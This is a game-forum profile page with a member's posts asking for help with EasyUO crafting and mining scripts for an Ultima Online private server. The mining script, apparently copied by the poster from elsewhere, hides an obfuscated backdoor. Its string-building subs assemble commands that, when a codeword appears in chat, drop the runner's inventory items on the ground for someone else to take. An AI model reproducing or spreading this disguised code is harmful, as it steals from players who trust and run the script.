Jump to content

  2. → Viewing Profile: Topics: osasjtim

Toggle shoutbox Chat Open the Shoutbox in a popup

Прямая связь с администрацией по скайпу: gods.dragon
@  fr33 : (17 April 2024 - 11:16) gm pashol v mu igrac
@  Pablo : (15 March 2024 - 21:12) Sell regs from pandora box.
@  Pablo : (15 March 2024 - 21:11) Sell paralyze and poison necklaces 100k 1 piece.
@  fr33 : (11 March 2024 - 16:38) blee gm zb atdai bank
@  GM SOLAR : (10 March 2024 - 17:24) ОпЯТь лаГГи ! ! !
@  Pablo : (06 March 2024 - 17:48) Labākais hot ko esmu jebkad paņēmis :D
@  Senseless : (05 March 2024 - 09:42) Opatj ataki na server powli :(
@  Pablo : (03 March 2024 - 19:19) Riebiigais
@  Ganjakur : (03 March 2024 - 15:10) kāds niks mp?
@  Pablo : (02 March 2024 - 21:31) Var kāds iedot 40 kk priekš 11 lvl ?
@  Senseless : (02 March 2024 - 18:12) bratva estj u kogo script na ckerika na lamber ?
@  GM SOLAR : (02 March 2024 - 16:44) ALL GO NA CTF ! ! ! ! !
@  Ganjakur : (01 March 2024 - 17:32) labi
@  Pablo : (29 February 2024 - 12:08) Eu džeki, tie kuri vairāk nespēlē ultimu, varat droši man uzdāvināt savus itemus, vai pat savus acc. droši rakstam man privāti. Es vismaz uzturēšu šo serveri pie dzīvības :D
@  fr33 : (29 February 2024 - 09:45) yes
@  EmmaSb : (28 February 2024 - 21:00) Easyuo still working ?
@  Artemy Shan : (18 February 2024 - 20:42) Еще один фикс поставил. Смотрим, тестируем.
@  jurasiks : (18 February 2024 - 20:04) da pipec tu, zdelal on
@  Senseless : (17 February 2024 - 19:17) Lagi powli opatj
@  Artemy Shan : (17 February 2024 - 12:36) Мне удалось повторить действия, которые делал этот пиздюк, чтобы нагружать процессор сервера на 100% и вроде как я поправил это.

osasjtim

Member Since 10 Aug 2019
Offline Last Active Sep 30 2019 12:05
-----

Topics I've Started

Алхимия

05 September 2019 - 11:24

Доброго дня, коллеги!

Вопрос, переделал скрипт под крафт банок на крафт хилинг поушенов. Всё вроде прописал, но готовые банки он в сундук не складывает, не понимаю где надо поправить. Реагент лежит в сумке - его вес вообще не ощущается, берет из одного сундука 50 банок пустых, крафтит поушены, но не скидывает их в другой сундук, почему не понимаю - посоветуйте, что поправить. Заранее спасибо!

 

initevents
 
initevent
uoswap:
if #charname <> Sjmage
{
UOXL swap
goto uoswap
}
 
set %BOX GJRHKMD ; where to take ings
SET %MUSORKA GJRHKMD ; where to put flacks
set %eatBOX DYUNKMD
SET %REG PGJ ;ings
SET %Skreg 50 ; quantity of ings to take
SET %ITEM VGJ; type of production
SET %Tool RQF ; tool
SET %TIME1 150 ; wait on the production screen
SET %TIME2 15 ; wait to transfer items
set %eatTIME 900
set %Drink ZBM
set %eat HND_GND
set %SCNT #SCNT + %eatTIME
GOSUB Craft
 
SUB Craft
    if #SCNT >= %SCNT
    gosub eat
    Finditem %Tool C_ , #BackpackID
    IF #Findkind <> -1 4
       SET #LobjectID #FindID
       Event Macro 17 0
       wait 10
       Click 486 453
    GOSUB Journal
     return
SUB Journal
    Deletejournal
       set %CNT #SCNT2 + %TIME1
       scan:
     event SysMessage
    Scanjournal
    IF You_are_hungry  in #Journal || You_are_hungry in #sysmsg
       GOSUB eat
    IF You_need IN #Journal ;|| IF You_need IN #Sysmsg
       GOSUB Tresh
    IF You_put IN #Journal ;|| IF You_put IN #Sysmsg
       GOSUB craft
    IF #SCNT2 > %CNT
       GOSUB craft
    goto scan
Return
return
 
SUB Tresh
       musorka:
       Finditem %ITEM C_ , #BackpackID
           IF #Findkind <> -1
    {
       exevent Drag #FindID #FindStack
       exevent Dropc %MUSORKA
       wait %TIME2
       goto musorka
       }
        Finditem %Banka C_ , #BackpackID
    IF #Findkind <> -1 3
       exevent Drag #FindID #FindStack
       exevent Dropc %BOX
       wait %TIME2
 
    Finditem %REG C_ , #BackpackID
    IF #Findkind <> -1 3
       exevent Drag #FindID #findstack
       exevent Dropc %BOX
       wait %TIME2
          reg:
       Finditem %REG C_ , %BOX
    IF #findstack >= 3 4
       exevent Drag #FindID %Skreg
       exevent Dropc #BackpackID
       wait %TIME2
      GOSUB Craft
      ignoreitem #findID
      goto reg
      return
 
sub eat
Finditem %eat C_ , %eatBOX
    IF #Findkind <> -1 3
       exevent Drag #FindID 1
       exevent Dropc #BackpackID
       wait %TIME2
Finditem %drink C_ , %eatBOX
    IF #Findkind <> -1 3
       exevent Drag #FindID 1
       exevent Dropc #BackpackID
       wait %TIME2
finditem %eat C_ , #backpackID
if #findkind <> -1 3
set #LobjectID #FindID
event macro 17
wait 5
finditem %drink C_ , #backpackID
if #findkind <> -1 3
set #LobjectID #FindID
event macro 17
wait 5
set %SCNT #SCNT + %eatTIME
return
 

Выражение Глубокой Признательности И Благодарности!

17 August 2019 - 12:50

Господа, хочу сказать простое человеческое спасибо...нет, даже вот такое СПАСИБО человеку, который давно играет на этом шарде. Зовут его Григорий aka Sonyplayer! Он потратил своё время на объяснение мне всего что меня интересовало в мире UO. Самое главное, он помог мне разобраться со скриптами - все остальное и так есть в библиотеке, но вот в том, что касается языка команд - мне сложно - я чистый гуманитарий =)))

Все равно, честно скажу, для новичка в базе знаний Ультимы слишком много информации - конечно с течением времени всё это уляжется в голове, систематизируется, но на первоначальном этапе все это очень заморочено и непросто, а когда тебе сразу же отвечают - это приятно и полезно!

Одним словом - Гриш, огромное тебе СПАСИБО, моя искренняя благодарность и признательность за то, что со мной возился и помогал! От души!

Вот!


Пропали Вещи

14 August 2019 - 13:45

Помогите - не понял, что произошло. Чар sjtimmmmm, примерно в 14-40 (по Москве) перекладывал из банка в Миноке в бэкпэк сумку с ингами - хотел пойти покрафтить. Перетаскивал мышкой из сундука банка в свой рюкзак (на картинке рядом с персонажем). В банке сумка пропала - в рюказке не появилась, а там было много - по кр мере для меня - ну по логам всё будет видно.

Администрация, помогите пожалуйста - там фарм за 3 суток примерно - обидно же...

Заранее очень признателен.


Помогите Найти Архитектора

13 August 2019 - 11:56

Народ, облазил пол карты нигде не могу нийти архитектора, чтобы купить house deed. В базе знаний написано, что в любом городе. Не в любом! Кто может подсказать в каком городе и каком месте он стоит? Спасибо!

 

+ еще глюк. Перелетаю на маркет по столбу, при попытке войти в город (Брит) перекидывает в город шахтёров. Что это такое и как победить? 

 

Спасибо всем заранее!


Доработка Скрипта На Майнинг

12 August 2019 - 20:40

Товарищи! Нужна Ваша помощь!

Целый день гуглил - причем я не программер, но вот получился рабочий скрипт на майнинг. Без телепортов и т.п. Просто ходим по точкам, копаем. Настроил, чтобы при перегрузе выкидывал руду - почему-то это Iron. Я так понял, что неправильно выбран металл в скрипте, но я не могу найти, как его правильно назвать. Весь хлам, который выкапывается - где его названия и как его вписывать в скрипт? Через запятую прямо или на каждый вид выбрасываемого ресурса отдельный "блок" нужен будет?

 

Вот строчка finditem DWJ C_ меня смущает. Это должен быть марганец, а выкидывает Iron. Как остальное прикрепить - не знаю. Помогите!

 

Вот сам скрипт. Работает, кстати вполне себе. В банк не бегает и не летает по рунам, но летать пока некуда =( 2 дня играю! =))) Там буду дошлифовывать. Заранее спасибо всем!

 

              ; ?????? ??????? InFlame, ???????? ??? ???? igaza, ????????????? Aimed. ?????? 2.0
set %maxWeight 650        ; ???????????? ???
set %box UDQBLMD           ; ID ????? ??? ????? ???????? ???? ? ????? ???????
set %xCoord 1942            ; X ?????????? ????? ?????
set %yCoord 324            ; Y ?????????? ????? ?????
set %dropMarganece #true    ; #true - ?????????? ????? , #false - ???
set %dropDelay 45
set %lootDelay 45
set %dropDelay 45
; End Of Set Up Part
 
set %item OVF_EVF_HVF_RVF_FVF_GVF_BVF_VUF_DWJ_TVj_GWJ_EWJ_ZLK_POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_UJG_DCI_FWL_NZH
set %loot OVF_EVF_HVF_RVF_FVF_GVF_BVF_VUF_DCI_POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_NZH_UJG_FWL
 
gosub gettingStarted
gosub initevents
set %k 0
set %lastK 0
 
start:
 
 GOSUB LJING 2565 482 1340
 GOSUB LJING 2565 483 1340
 GOSUB LJING 2565 480 1339
 GOSUB LJING 2567 480 1339
 GOSUB LJING 2567 482 1339
 GOSUB LJING 2566 477 1339
 GOSUB LJING 2568 475 1339
 GOSUB LJING 2571 474 1358
 GOSUB LJING 2569 477 1339
 GOSUB LJING 2570 478 1339
 GOSUB LJING 2574 476 1339
 GOSUB LJING 2572 479 1339
 GOSUB LJING 2576 476 1339
 GOSUB LJING 2575 475 1339
 GOSUB LJING 2577 476 1339
 GOSUB LJING 2576 479 1339
 GOSUB LJING 2579 478 1339
 GOSUB LJING 2579 479 1339
 GOSUB LJING 2580 480 1339
 GOSUB LJING 2578 481 1339
 GOSUB LJING 2581 480 1352
 GOSUB LJING 2580 482 1339
 GOSUB LJING 2577 482 1339
 GOSUB LJING 2579 481 1339
 GOSUB LJING 2576 480 1339
 GOSUB LJING 2576 484 2280
 GOSUB LJING 2574 483 1342
 GOSUB LJING 2575 485 1342
 GOSUB LJING 2572 484 1339
 GOSUB LJING 2573 486 1339
 GOSUB LJING 2571 484 1340
 GOSUB LJING 2570 487 1340
 GOSUB LJING 2569 486 1342
 GOSUB LJING 2568 489 1345
 GOSUB LJING 2567 486 1339
 GOSUB LJING 2566 490 1344
 GOSUB LJING 2564 488 1339
 GOSUB LJING 2563 492 1339
 
goto start
 
sub ljing
set %k %k + 1
gosub ghost
gosub checkWeight
gosub kopka
 
sub kopka
move %1 %2 1
finditem NPF_QPF C
if #findcnt = 0
 {
  display ok Pickaxe wasn't found!
  pause
 }
set #lobjectid #findid
event macro 17 0
target 5s
set #ltargetx %1
set #ltargety %2
set #ltargetkind 3
set #ltargettile %3
event macro 22 0
wait 10
set %overtime #scnt + 10
gosub scan
return
 
sub scan
scan:
scanjournal
if ( ( put_the_pieces in #sysMsg ) || ( put_the_Elemental in #sysMsg ) || ( put_the_Lava in #sysMsg ) || ( You_loosen in #sysMsg ) || ( put_the_Dark_Crystal in #sysMsg ) || ( put_the_Meteor in #sysMsg ) || ( put_the_Black_Steel in #sysMsg ) || ( put_the_Gold in #sysMsg ) || ( put_the_Silver in #sysMsg ) || ( put_the_Platinum in #sysMsg ) )
gosub kopka
%get fixed
if ( ( You_put_the_Steel_ore in #sysMsg ) || ( You_put_the_Copper_ore in #sysMsg ) || ( You_put_the_Bronze_ore in #sysMsg ) || ( You_put_the_Iron_ore in #sysMsg ) || ( nothing in #sysMsg ) || ( line in #sysMsg ) || ( decide in #sysMsg ) || ( Try in #sysMsg ) || ( close in #sysMsg ) || ( see in #sysMsg ) || ( line in #sysMsg ) )
return
if #scnt >= %overtime
return
goto scan
return
 
sub moveItems
ignoreitem reset 1
gosub runToBox
finditem %box G_3
wait 10
if #findcnt = 0
 {
  event Sysmessage Box Not Found!
  halt
 }
repeat
{
finditem %item c_ , #backpackid
if #findcnt >= 1
{
if world_save_has_been in #sysmsg
wait 15s
exevent Drag #Findid #findstack
exevent Dropc %box
wait %dropDelay
}
}
until #findcnt = 0
ignoreitem reset 1
if %recall
gosub recalls
return
 
sub runToBox
repeat
 {
 move %xCoord %yCoord 0 3s
 wait 10
 }
until #charposx = %xCoord && #charposy = %yCoord
return
 
sub ghost
if #charghost = YES || %0 = 1
{
terminate uo
halt
}
return
 
sub fixed
set %k %k + 1
%to %bca %be # . %all
{
repeat
{
set %up # . %cares
%done %start , _ , %else %end , _ , %up
%lastdo %race # . %Wsave
%lastdo %eaea # . %alpha # . %beta # . %gamma
%upgrade 25
%done %start , _ , %else %end , _ , %up
}
until # . %gems = 0
}
return
 
sub initevents
set %rescourse finding
str left %rescourse 4
set %save #strres
set %done %save , item
set %iii kill
str left string 1
set %asd #strres , %iii
set %start % . %asd
str left CADY 1
set %end #strres
str left character 4
set %who #strres
set %cares %who , id
str left %do 4
set %lastdo ex , #strres , t
set %race dragrace
str left %race 4
set %race #strres
set %Wsave %save , id
str right skopg 3
set %jasl #strres
str left drive 2
set %eaea #strres , %jasl
str left post 3
set %number %who , #strres
set %alpha %number , x
set %beta %number , y
set %gamma %number , z
set %repsawn waitrespawn
str left %repsawn 4
set %upgrade #strres
str left tilbery 3
set %almost #strres
str left unuquady 2
set %past #strres , %almost
set %gems %save , cnt
set %else IJG
return
 
sub dropMarganece
dropLoop:
finditem DWJ C_ , #backpackid
if #findcnt = 0
 {
  wait 20
  if #weight >= %maxweight
   {
   if %recall
   gosub port
   if ! %recall
   gosub moveItems
   return
   }
  if #weight < %maxweight
   return
 }
if #findcol = 0
{
set %newCharPosX #charposx - 1
exevent drag #findid #findstack
exevent dropg %newCharPosX #charposy
wait %dropDelay
}
ignoreitem #findid 1
goto dropLoop
return
 
sub gettingStarted
set %afk true
set %ell qaerty
str left %ell 1
set %abc #strres , #strres , #strres
set %a1 #strres
str left %ell 2
str right #strres 1
set %cba %abc , #strres , %a1
set %bca %cba , #strres
str right %afk 1
set %bca %bca , #strres
set %bra %bca , b
set %n1 nlogif
str right %n1 2
set %to #strres
str left %n1 1
set %be #strres
str right %n1 2
str left #strres 1
set %be #strres , %be
set %tour jour
set %navigate nalliwate
str left %navigate 3
set %all %tour , #strres
set %navigate gost
str left %navigate 3
set %ac #strres
str right pub 2
set %get %ac , #strres
set %do events
str right linit 4
set %toGo #strres , %do
return
 

  1. Old Paradise Forums
  2. → Viewing Profile: Topics: osasjtim
  3. Privacy Policy